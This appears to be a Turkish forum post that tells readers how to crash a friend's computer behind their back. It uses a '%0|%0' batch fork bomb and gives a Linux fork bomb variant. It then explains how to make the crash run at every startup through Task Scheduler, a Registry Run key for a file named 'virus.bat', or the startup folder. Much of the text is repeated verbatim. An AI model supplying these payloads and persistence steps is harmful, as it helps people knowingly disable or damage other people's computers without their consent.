Mesela arkadaşınızın bilgisayarını çökertmek istiyorsunuz ve diyelim ki 1 dakikalığına su almaya gitti , gittiği anda bilgisayarına not defteri oluşturup içine "%0|%0" (windows için) yazıp .bat olarak kaydedip açarsanız komut penceresini kapatamassınız ve yoğunlukdan sistem cevap veremez hale gelir . Bilgisayarı yeniden başlatmanız gerekiyor. Kalıcı yan etkileri olabiliyor .
Kodun mantığı şu kendini yeniliyor bir kısır döngüye giriyor .
%0 dediği aslında aynı dosyayı çalıştır yani baslat.bat diye kaydederseniz baslat.bat | baslat.bat yazıyor olay bu.
Aynı kodun Linux versiyonu için: ){ :|:& };:
Buna Fork bomb deniyormuş bir zararlı yazılım türü araştırabilirsiniz.
Edit: Kalıcı hasar vermeyedebilir o anlık korkutabilir ya da bilgisayar başlarkene program atama yapıp bu kodu koyarsanız her pc başladığında bu kod çalışır ve engelleyemez.
1.) Benim bildiğim Taskschd.msc ' de zamanlayıcı görev oluşturda oturum açıldığındayı seçip program başlatı seçip .bat dosyasını seçebiliriz.
2.) ya da Registiry ile olur programımız virus.bat olsun mesela
3.) Diğer bir seçenek (çalışıyormu bilmiyorum deniyebilirsiniz ) çalıştıra "shell:startup" yazarsanız bi klasör çıkıyor oraya dosya koyduğunuzda pc başlarken o programda çalışıyor hangi sürümlerde çalışır bilmiyorum çalışırmı onuda bilmiyorum.
konu bu olmadığı için açıklamayacağım nasıl kalıcı yapabiliriz diye soru geldi o yüzden yazdım.
Kodun mantığı şu kendini yeniliyor bir kısır döngüye giriyor .
%0 dediği aslında aynı dosyayı çalıştır yani baslat.bat diye kaydederseniz baslat.bat | baslat.bat yazıyor olay bu.
Aynı kodun Linux versiyonu için: ){ :|:& };:
Buna Fork bomb deniyormuş bir zararlı yazılım türü araştırabilirsiniz.
Edit: Kalıcı hasar vermeyedebilir o anlık korkutabilir ya da bilgisayar başlarkene program atama yapıp bu kodu koyarsanız her pc başladığında bu kod çalışır ve engelleyemez.
1.) Benim bildiğim Taskschd.msc ' de zamanlayıcı görev oluşturda oturum açıldığındayı seçip program başlatı seçip .bat dosyasını seçebiliriz.
2.) ya da Registiry ile olur programımız virus.bat olsun mesela
Kod:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"virus.bat"="C:\\Windows\\system\\virus.bat"
3.) Diğer bir seçenek (çalışıyormu bilmiyorum deniyebilirsiniz ) çalıştıra "shell:startup" yazarsanız bi klasör çıkıyor oraya dosya koyduğunuzda pc başlarken o programda çalışıyor hangi sürümlerde çalışır bilmiyorum çalışırmı onuda bilmiyorum.
konu bu olmadığı için açıklamayacağım nasıl kalıcı yapabiliriz diye soru geldi o yüzden yazdım.
Son düzenleme: